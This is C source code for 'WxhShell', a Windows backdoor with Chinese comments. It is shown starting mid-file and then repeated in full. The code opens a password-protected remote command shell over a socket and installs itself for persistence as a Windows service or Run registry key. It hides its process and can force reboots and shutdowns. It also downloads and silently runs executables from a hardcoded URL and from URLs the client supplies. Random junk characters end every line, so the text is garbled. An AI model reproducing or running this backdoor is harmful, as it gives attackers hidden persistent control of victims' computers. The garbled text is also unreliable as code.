    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5{xK&[wR*  
    else { #9glGPR(  
    closesocket(wsh); +-!2nk`"a  
    ExitThread(0); "x0/i?pqa  
    } D0}r4eA  
    break; kQ`p\}7_  
    } :Vy*MPS5  
  // 获取shell m%cwhH_B  
  case 's': { a$5P\_  
    CmdShell(wsh); x#XxD<y  
    closesocket(wsh); G ?Hx"3:?  
    ExitThread(0); 5uX-onP\[  
    break; W6s-epsRmT  
  } gW-mXb  
  // 退出 /PKu",Azj  
  case 'x': { Mi} .  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n%6ba77  
    CloseIt(wsh); *zwo="WA\t  
    break; mndKUI}d  
    } CB0p2WS_  
  // 离开 8shx7"  
  case 'q': { B|"-Ed  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [pC2#_}  
    closesocket(wsh); W2&(:C8V@  
    WSACleanup(); \30rF]F`l  
    exit(1); twox.@"U  
    break; f@ILC=c<  
        } ,u=+%6b)A  
  } zHKx,]9b  
  } UyAy?i8K  
P]O=K  
  // 提示信息 &I:ZJuQ4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OtbPr F5  
} [:zP]l.|  
  } ^'n;W<\p)  
F1t+D)KA>  
  return; )O2IEwPd.  
} DP-0,Gt&Xj  
-\7_^8 am  
// shell模块句柄 2wJa:=$  
int CmdShell(SOCKET sock) 7GvMKtuSK  
{ k;Fxr%  
STARTUPINFO si; fDRG+/q(+  
ZeroMemory(&si,sizeof(si)); F5y&"Y_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6 ZAZJn|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I+,CiJ|4  
PROCESS_INFORMATION ProcessInfo; ]_j= { 0%  
char cmdline[]="cmd"; RT(ejkLZm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z]w?RL  
  return 0; fB 0X9iV6j  
} pqTaN=R8  
R9  Y@I  
// 自身启动模式 ];'7~",Y  
int StartFromService(void) z8XWp[K  
{ {.?pl]Zl6  
typedef struct dvM%" k  
{ phQ{<wzwp  
  DWORD ExitStatus; m Ga:~x  
  DWORD PebBaseAddress; G)q;)n;*=  
  DWORD AffinityMask; ~6K.5t7  
  DWORD BasePriority; K)  Ums-b  
  ULONG UniqueProcessId; 1IlOU|4  
  ULONG InheritedFromUniqueProcessId; B>4/[ YHr;  
}   PROCESS_BASIC_INFORMATION; o7 0] F  
* F_KOf9p  
PROCNTQSIP NtQueryInformationProcess; "jLC!h^N  
da i+"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yzMGZi`ut  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fwiP3*j+Nn  
K {  FZ/  
  HANDLE             hProcess; |+KwyHE`9  
  PROCESS_BASIC_INFORMATION pbi; ?\)h2oi!F5  
~N2=44e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t .}];IJP  
  if(NULL == hInst ) return 0; ~ToU._  
do*aE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D&@Iuo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?bpV dm!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -:kIIK   
z4~p(tl  
  if (!NtQueryInformationProcess) return 0; (L1F ],Au  
>_\[C?8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `H 'wz7  
  if(!hProcess) return 0; ^KnK \  
BOh^oQh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B[q"o I`  
@qYT/V*/  
  CloseHandle(hProcess); a6Joa&`dv  
)\j dF-s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1J72*`4OK  
if(hProcess==NULL) return 0; S;y4Z:!  
E [6:}z<  
HMODULE hMod; 6^!fuIZ;_  
char procName[255]; C,A/29R,s  
unsigned long cbNeeded; pp@B]We  
Ni%@bU $  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @SyL1yFX  
A2;6Vz=z  
  CloseHandle(hProcess); N!MDD?0  
c&x1aF "B  
if(strstr(procName,"services")) return 1; // 以服务启动 V#5$J Xp  
U82mO+}  
  return 0; // 注册表启动 ;TS%e[lFhQ  
} |2%|=   
qE|syA9  
// 主模块 /%s:aO  
int StartWxhshell(LPSTR lpCmdLine) vj 344B  
{ rmo\UCD  
  SOCKET wsl; f0j]!g  
BOOL val=TRUE; %q~q,=H$]  
  int port=0; Wy*+8~@A  
  struct sockaddr_in door; W &:0J  
,i??}Wm5G  
  if(wscfg.ws_autoins) Install(); lSW'qgh  
H17I" 5N  
port=atoi(lpCmdLine); q*|Alrm  
RRB=JP{r  
if(port<=0) port=wscfg.ws_port; fU?#^Lg  
5OtdB'UITd  
  WSADATA data; @4D{lb"{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g2m* Q%  
=>B"j`oR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >X eXd{$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 80_w_i+  
  door.sin_family = AF_INET; 1}c'UEr%)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lZ.lf.{F  
  door.sin_port = htons(port); [A/2 Ms  
{_\cd.AuT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >e R^G5rn;  
closesocket(wsl); +(92}~RK  
return 1; o2U5irU  
} }`Ya;  
)J> dGIb  
  if(listen(wsl,2) == INVALID_SOCKET) { 3MFT P5~  
closesocket(wsl); _<FUS'"  
return 1; L;u5  
} GRbbU#/=G  
  Wxhshell(wsl); ]6[+tpx  
  WSACleanup(); ?o?$HK   
BK+P  
return 0; 7~XA92  
e4SS'0|  
} 1h?ve,$  
CvE^t#Bok  
// 以NT服务方式启动 T@U,<[,   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?x&}ammid  
{ &RARK8 ^  
DWORD   status = 0; 5l1R")0`t_  
  DWORD   specificError = 0xfffffff; #eOHe4Vt  
GHd1?$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eG!ma`v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5(J?C-Pk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $j\>T@  
  serviceStatus.dwWin32ExitCode     = 0; &d2L9kTk  
  serviceStatus.dwServiceSpecificExitCode = 0; >fI\f <ez  
  serviceStatus.dwCheckPoint       = 0; j67ppt  
  serviceStatus.dwWaitHint       = 0; zHZfp_I  
*/aQ+%>jf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6[k<&;  
  if (hServiceStatusHandle==0) return; 6`Tx meIP  
M' z.d  
status = GetLastError(); RVttk )Ny  
  if (status!=NO_ERROR) @ewaj!  
{ 'hU5]}=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #0b:5.vy  
    serviceStatus.dwCheckPoint       = 0; G`O*AQ}[  
    serviceStatus.dwWaitHint       = 0; 2A~o)7JaZ  
    serviceStatus.dwWin32ExitCode     = status; 6_KvS  
    serviceStatus.dwServiceSpecificExitCode = specificError; GJcxqgk$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =bC'>qw}  
    return; T^|k`  
  } :Q=y'<  
z6@8IszU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A(E}2iP9=  
  serviceStatus.dwCheckPoint       = 0; }6-olVg  
  serviceStatus.dwWaitHint       = 0; T,9q~*"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :VP4:J^  
} {f-O~P<Z4  
GD.Ss9_h1  
// 处理NT服务事件,比如:启动、停止 }8tF.QjR|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g&y (-  
{ *w4#D:g  
switch(fdwControl) 8b'@_s!_  
{ UU>+b:  
case SERVICE_CONTROL_STOP: G8+&fn6  
  serviceStatus.dwWin32ExitCode = 0; Z[*unIk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 63l& ihj  
  serviceStatus.dwCheckPoint   = 0; a`xAk ^w+  
  serviceStatus.dwWaitHint     = 0; .c}+kHv  
  { */IiL%g4u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]$L5}pE3  
  } $L0sBW&  
  return; 8k-]u3  
case SERVICE_CONTROL_PAUSE: pTq DPU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J/e]  
  break; VrPsy) J68  
case SERVICE_CONTROL_CONTINUE: /Z?o%/bw:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -V{"Lzrfug  
  break; kqih`E9P7B  
case SERVICE_CONTROL_INTERROGATE: f#:3 TJV  
  break; YOLzCnI4  
}; LcvczS T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7u&l]NC?y  
} b/a\{  
kQbZ!yl>[  
// 标准应用程序主函数 CBf[$[e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sPZwA0%  
{ HJ]v-  
{Cm!5QYy  
// 获取操作系统版本 <!RkkU& 6  
OsIsNt=GetOsVer(); }~zDcj_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n-8/CBEH(  
lFt!  
  // 从命令行安装 *nU5PSs  
  if(strpbrk(lpCmdLine,"iI")) Install(); n',X,P0  
&6OY ^6<  
  // 下载执行文件 BH {z]a  
if(wscfg.ws_downexe) { M}[Q2v\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6 agG*x  
  WinExec(wscfg.ws_filenam,SW_HIDE); 36OQHv;&  
} xK_UkB-$i  
UAXp;W`  
if(!OsIsNt) { JR]elRR  
// 如果时win9x,隐藏进程并且设置为注册表启动 -y!Dg6 A  
HideProc(); Cydo~/  
StartWxhshell(lpCmdLine); H(.9tuA  
} 4dFr~ {  
else 5B:"$vC{=  
  if(StartFromService()) B(Yg1jAe  
  // 以服务方式启动 3LfF{ED@  
  StartServiceCtrlDispatcher(DispatchTable); wp1O*)/q  
else MV$E_@pg  
  // 普通方式启动 j%` C  
  StartWxhshell(lpCmdLine); J&\Q3_vro9  
aMe &4Q  
return 0; 0-uj0"r`  
} aB~k8]q.  
 m,+PYq  
9J7yR}2-F  
5(CInl  
=========================================== YG0/e#5  
F>{bVPh VA  
#g$I>\O<  
)wjpxr  
i695P}J2  
Pq+|*Y<|&  
" d4IQ;u  
bX38=.up  
#include <stdio.h> C {*?  
#include <string.h> b&`~%f-  
#include <windows.h> >(H:eRKq  
#include <winsock2.h> x/{-U05  
#include <winsvc.h> -5og)ZGVUA  
#include <urlmon.h> ^jL)<y4`  
?qsLR  
#pragma comment (lib, "Ws2_32.lib") hd'QMr[;  
#pragma comment (lib, "urlmon.lib") _Ml?cT/J.O  
;C*2Djb*n  
#define MAX_USER   100 // 最大客户端连接数 ,?m@Ko7Y  
#define BUF_SOCK   200 // sock buffer a7_Q8iMe  
#define KEY_BUFF   255 // 输入 buffer Y~*p27@fR  
[.|& /O  
#define REBOOT     0   // 重启 JzywSQ  
#define SHUTDOWN   1   // 关机 Nt\07*`qCr  
dY$nw  
#define DEF_PORT   5000 // 监听端口 )( 3)^/Xz  
OcF_x/#  
#define REG_LEN     16   // 注册表键长度 :1f,%Z$,q  
#define SVC_LEN     80   // NT服务名长度 hO> q|+mC  
[MAPa  
// 从dll定义API c[M4l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <k1muSe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZJbaioc\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +~F>:v?Rh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (&*Bl\YoX  
CaCApL  
// wxhshell配置信息 hs+)a%A3G  
struct WSCFG { IG}yGGn  
  int ws_port;         // 监听端口 gF9GU5T:  
  char ws_passstr[REG_LEN]; // 口令 ~,s'-  
  int ws_autoins;       // 安装标记, 1=yes 0=no M1P;x._n  
  char ws_regname[REG_LEN]; // 注册表键名 "(H%m9K  
  char ws_svcname[REG_LEN]; // 服务名 s3ASA.*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (oiQ5s^f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ok,O/|E}?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FDiDHOR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u$nmnd`g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BHz_1+d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (`Y;U(n  
;gHcDnH)  
}; -2laM9Ed  
8M3DG=D  
// default Wxhshell configuration 9gK1Gx:  
struct WSCFG wscfg={DEF_PORT, 3:sc%IDP  
    "xuhuanlingzhe", &>.QDO  
    1, +c]D2@ctG  
    "Wxhshell", "9c!p  
    "Wxhshell", #Sy~t{4  
            "WxhShell Service", "7(@I^'t6  
    "Wrsky Windows CmdShell Service", PCDvEbpG  
    "Please Input Your Password: ", OI/]Y7D[Oq  
  1, WzdlrkD  
  "http://www.wrsky.com/wxhshell.exe", 9-A@2&J1  
  "Wxhshell.exe" b<r*EY  
    }; C_[ d  
D][I#v h  
// 消息定义模块 o+^e+ptc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $WE _aNfja  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UK8k`;^KI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5M8   
char *msg_ws_ext="\n\rExit."; f~jd N~  
char *msg_ws_end="\n\rQuit."; )=N.z6?  
char *msg_ws_boot="\n\rReboot..."; Z>NA 9:  
char *msg_ws_poff="\n\rShutdown..."; URh5ajoR%  
char *msg_ws_down="\n\rSave to "; H?ue!5R#L  
x1CMW`F  
char *msg_ws_err="\n\rErr!"; BNJG-b|g^  
char *msg_ws_ok="\n\rOK!"; b?9'-hK<  
u7p:6W  
char ExeFile[MAX_PATH]; {qry2ZT5  
int nUser = 0; jNIz:_c-~  
HANDLE handles[MAX_USER]; ]?jmRk^ .  
int OsIsNt; el^<M,7!  
,=%c e  
SERVICE_STATUS       serviceStatus; `AdHyE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h* /  
a}Jy o!.  
// 函数声明 QX-M'ur99  
int Install(void); 4x/u$Ixzh=  
int Uninstall(void); .R^]<b:`  
int DownloadFile(char *sURL, SOCKET wsh); 5'0kf7  
int Boot(int flag); >R/^[([;]  
void HideProc(void); r^\Wo7q  
int GetOsVer(void); 0wETv  
int Wxhshell(SOCKET wsl); 8,m:  
void TalkWithClient(void *cs); 8H SGOs =8  
int CmdShell(SOCKET sock); F|WH=s3  
int StartFromService(void); okW'}@jD  
int StartWxhshell(LPSTR lpCmdLine); OL&VisJ{75  
NL ceBok  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0g@*N4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RQn3y-N]  
)T^aJ-Uf  
// 数据结构和表定义 0ENqK2  
SERVICE_TABLE_ENTRY DispatchTable[] = AkqGk5e ^  
{ afcyAzIB&  
{wscfg.ws_svcname, NTServiceMain}, AqrK==0N  
{NULL, NULL} %__.-;)o  
}; abV,]x&.0  
7aN oqS+  
// 自我安装 %A( hmC  
int Install(void) ]<O -  
{ A5dH*< }  
  char svExeFile[MAX_PATH]; gm&O-N"= U  
  HKEY key; iB'g7&,L  
  strcpy(svExeFile,ExeFile); O{G $]FtF  
k1WyV_3  
// 如果是win9x系统,修改注册表设为自启动 ]0p*EB=C*  
if(!OsIsNt) { 23UXOY0BW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h6Hop mWVx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); odq3@ ziO  
  RegCloseKey(key); l_=kW!l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <gr2k8m6$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m9m~2   
  RegCloseKey(key); z;i4F.p  
  return 0; iw EHEi%  
    } %gx>|  
  } 7m 9T'  
} ngaQa-8w  
else { ),I7+rY  
AzBpQb*  
// 如果是NT以上系统,安装为系统服务 c6pGy%T-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S4X['0rX!  
if (schSCManager!=0) 7otqGE\2  
{ C)s*1@af  
  SC_HANDLE schService = CreateService  *FoPs  
  ( QnDLSMx)  
  schSCManager, fm,:8%  
  wscfg.ws_svcname, V=H}Ecd  
  wscfg.ws_svcdisp, `_+m3vHG  
  SERVICE_ALL_ACCESS, QmB,~x{j>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]G2%VKkr  
  SERVICE_AUTO_START, C}mWX7<Z.  
  SERVICE_ERROR_NORMAL, %^8>=  
  svExeFile, 6I\mhw!pQ  
  NULL, |=}v^o ZC  
  NULL, <b;Oap3  
  NULL, vro5G')  
  NULL, D D Crvl  
  NULL F30jr6F\  
  ); &@xeWB  
  if (schService!=0) Sst`*PX:  
  { l{x?i00tAS  
  CloseServiceHandle(schService); m4@w M?  
  CloseServiceHandle(schSCManager); \ 8X8N CM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (vf5qF^  
  strcat(svExeFile,wscfg.ws_svcname); 1]XIF?_D m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j2|!h%{nI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lf9_!`DGV  
  RegCloseKey(key); *C?x\.\C  
  return 0; V.274e  
    } Pi|oO-M  
  }  =!Y{Mz  
  CloseServiceHandle(schSCManager); /%GMbO_  
} OL"So u4  
} _.Bite^  
) N"gW*  
return 1; MtO p][i  
} 0H{0aQQ  
x5Ee'G(  
// 自我卸载 }tT*Ch?u  
int Uninstall(void) pBu~($%d  
{ >taZw '  
  HKEY key; [f'DxZF-  
+#<"o#gZ  
if(!OsIsNt) { RsDI7v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #8d$%F))  
  RegDeleteValue(key,wscfg.ws_regname); p{Gg,.f!HM  
  RegCloseKey(key); s2ys>2k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b511qc"i>M  
  RegDeleteValue(key,wscfg.ws_regname); 57b;{kl  
  RegCloseKey(key); VI`x fmVOQ  
  return 0; uy;3s=03^  
  } D r$N{d  
} 5OUe |mS  
} {\e wf_pFk  
else { g)iSC?H  
!f\6=Z?>3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DEC,oX!bI1  
if (schSCManager!=0) yMa5?]J  
{ 3?uP$(l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); , 0rC_)&B  
  if (schService!=0)  93(  
  { }a_: oR  
  if(DeleteService(schService)!=0) { m"vV=6m|\  
  CloseServiceHandle(schService); [ @/[#p  
  CloseServiceHandle(schSCManager); Va/ p   
  return 0; ~ +$l9~`{  
  } 6dmTv9e  
  CloseServiceHandle(schService); Z@8amT;Y  
  } /qL&)24  
  CloseServiceHandle(schSCManager); qQ6NxhQo  
} 9aC>gye!  
} HF\L`dJX?  
tIC_/ 6  
return 1; q& Vt*  
} Yazpfw 7'd  
6C/D&+4  
// 从指定url下载文件 Z y7@"C  
int DownloadFile(char *sURL, SOCKET wsh) d*,|?Ar*b  
{ VuZmX1x)N  
  HRESULT hr; I>-jKSkwc  
char seps[]= "/"; tZXtt=M w  
char *token; MOmp{@  
char *file; aTs_5q  
char myURL[MAX_PATH]; ^HL#)fK2I  
char myFILE[MAX_PATH]; XfsCu>  
X>|.BvY|  
strcpy(myURL,sURL); ]3QQ"HLcp  
  token=strtok(myURL,seps); 1^zF/$%  
  while(token!=NULL) 1ck2Gxn  
  { ;|/7o@$ n  
    file=token; Gz@%UIv  
  token=strtok(NULL,seps); \aUbBa%!  
  } {YbqB6zaM  
M3F8@|2  
GetCurrentDirectory(MAX_PATH,myFILE); a<gzI  
strcat(myFILE, "\\"); n(f&uV_):  
strcat(myFILE, file); a3lo;Cfp  
  send(wsh,myFILE,strlen(myFILE),0); :({lXGc}4?  
send(wsh,"...",3,0); p-; ]O~^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); % e1vq  
  if(hr==S_OK) $C)@GGY  
return 0; iQGoy@<R  
else "3j0)  
return 1; G:e}>'  
3^su%z_%  
} TPEZ"%=Hg  
iZyk2kc  
// 系统电源模块 JrL/LGY  
int Boot(int flag) "iZ-AG!C  
{ IW BVfN->}  
  HANDLE hToken; PUYo >eB)0  
  TOKEN_PRIVILEGES tkp; ln=zGX.e  
nQ(#'9  
  if(OsIsNt) { oG*lU h}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Iwn@%?7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MB |(,{S  
    tkp.PrivilegeCount = 1; Ol%*3To  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *j*jA/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q-8  GD7  
if(flag==REBOOT) { Y]gt86  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *,n7&  
  return 0; P|(J]/  
} DU7Ki6  
else { )v-* WreS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \iE'E  
  return 0; Om1z  
} tt[_+e\4  
  } %mYIXsuH  
  else { W>Rv  
if(flag==REBOOT) { Nm081ic2<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gaCGU<L  
  return 0; ckP3[@Su {  
} ca-n:1  
else { u('OHPqq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0'~b<>G%  
  return 0; XWUT b\@  
} Jb$z(?S  
} P`%ppkzV6  
*HXq`B  
return 1; X%F9.<4  
} AeJM[fCMa  
f%}+.e D  
// win9x进程隐藏模块 jN<]yhqf  
void HideProc(void) QNtr=  
{ bn(Scl#@K  
7Rh:+bT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JX/d;N7a  
  if ( hKernel != NULL ) %5KR}NXX6  
  { ^#Y6 E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M!jW=^\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )Ud S (Bj  
    FreeLibrary(hKernel); 6b8Klrar!  
  } pnG8c<  
/g9{zR [  
return; w0I /  
} ?7p| F^  
X}=f{/\S  
// 获取操作系统版本 =dw1Q  
int GetOsVer(void) AP7W)S  
{ R`?^%1^N  
  OSVERSIONINFO winfo; 6;b 'j\jG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [;2:lbPx  
  GetVersionEx(&winfo); D vKM>P%|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bYgYP|@  
  return 1; %N  
  else H'`(|$:|  
  return 0; mT>p:G  
} PmY:sJ{M  
E 9:hK  
// 客户端句柄模块 bOdv]nQ1  
int Wxhshell(SOCKET wsl) %Uk/P  
{ stG&(M  
  SOCKET wsh; qR<DQTO<  
  struct sockaddr_in client; $"(YE #]|  
  DWORD myID; -U $pW(~  
S- \lN|  
  while(nUser<MAX_USER) 8JrGZ8Q4RM  
{ !491 \W0ZH  
  int nSize=sizeof(client); W9Lg}[>:)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V<pqc&f .  
  if(wsh==INVALID_SOCKET) return 1; -Mvw'#(0  
vWovR`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); htRZ}e  
if(handles[nUser]==0) Pb;`'<*U  
  closesocket(wsh); vTEkh0Ys  
else %Tb|Yfyr C  
  nUser++; #G=QL(f>/  
  } |*NrS<"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [L(l++.z  
7 tpZE+OX  
  return 0; pdHb  
} (R<4"QbE  
Rx"Qwi,\U  
// 关闭 socket )It4al^\  
void CloseIt(SOCKET wsh) <^_?hN8.  
{ @]tGfr;le&  
closesocket(wsh); 15:@pq\  
nUser--; TjK5UML  
ExitThread(0); 90ag!   
} $?-o  
kAliCD)  
// 客户端请求句柄 cZzZNGY^ts  
void TalkWithClient(void *cs) EI.Pk>ZIm  
{ sr+mY;   
Kc\'s65.]  
  SOCKET wsh=(SOCKET)cs; ;T+U&U0d|  
  char pwd[SVC_LEN]; ZcRm5Du~:  
  char cmd[KEY_BUFF]; ejY5n2V#=  
char chr[1]; JW [\"`x!  
int i,j; ;Hb[gvl   
R<-C>D  
  while (nUser < MAX_USER) { ZC*d^n]x.  
N:[;E3?O  
if(wscfg.ws_passstr) { z 2VCK@0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }C"*ACjF   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l1Q+hz5"*U  
  //ZeroMemory(pwd,KEY_BUFF); WbWW=(N'd  
      i=0; k1U8wdoT  
  while(i<SVC_LEN) { s7i.p]  
}cej5/*  
  // 设置超时 dKQV4dc>  
  fd_set FdRead; ;6txTcn`=  
  struct timeval TimeOut; gNN" H#=2  
  FD_ZERO(&FdRead); <?{}Bo0xG  
  FD_SET(wsh,&FdRead); ]</4#?_  
  TimeOut.tv_sec=8; +Cg"2~  
  TimeOut.tv_usec=0; WriN]/yD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U.7y8#qf3R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eoe^t:5&  
<ii1nz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '(X[ w=WXy  
  pwd=chr[0]; za]p,bMX  
  if(chr[0]==0xd || chr[0]==0xa) { @IY?DO  
  pwd=0; L##8+OJ.L  
  break; niHL/\7u  
  } _d| 62VS  
  i++; u 1{ym_  
    } 53t- 'K0l  
.83v~{n  
  // 如果是非法用户,关闭 socket 'cF%4F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G P[r^Z  
} <j 9Mt=8M  
[x<6v}fRn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YqSXi~.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )ClMw!ZrU  
N.{jM[\F  
while(1) { loUl$X.u  
)Bn>/-  
  ZeroMemory(cmd,KEY_BUFF); h [IYA1/y  
`<}V !Lo  
      // 自动支持客户端 telnet标准   {y:#'n  
  j=0; q|u8CX  
  while(j<KEY_BUFF) { O GFE*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hiMyFvA4  
  cmd[j]=chr[0]; Y <Znv%M  
  if(chr[0]==0xa || chr[0]==0xd) { t+ S~u^  
  cmd[j]=0; a}Fk x  
  break; B8 0odU&  
  } PNJe&q0*  
  j++; e*P=2*]M  
    } /iUUM t'  
P YF.#@":&  
  // 下载文件 ^V: "zzn&  
  if(strstr(cmd,"http://")) { %Nm @f'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Qm<-g  
  if(DownloadFile(cmd,wsh)) N2tkCkl^x9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y%/ YFO2vb  
  else MV<!<Qmj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i-k >U}[%  
  } b4v(k(<  
  else { jJUGZVM6)  
&]VQR2J}:  
    switch(cmd[0]) { !{Q:(B#ec  
  {xv?wenE  
  // 帮助 CQSpPQA  
  case '?': { feI./E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |"R_-U  
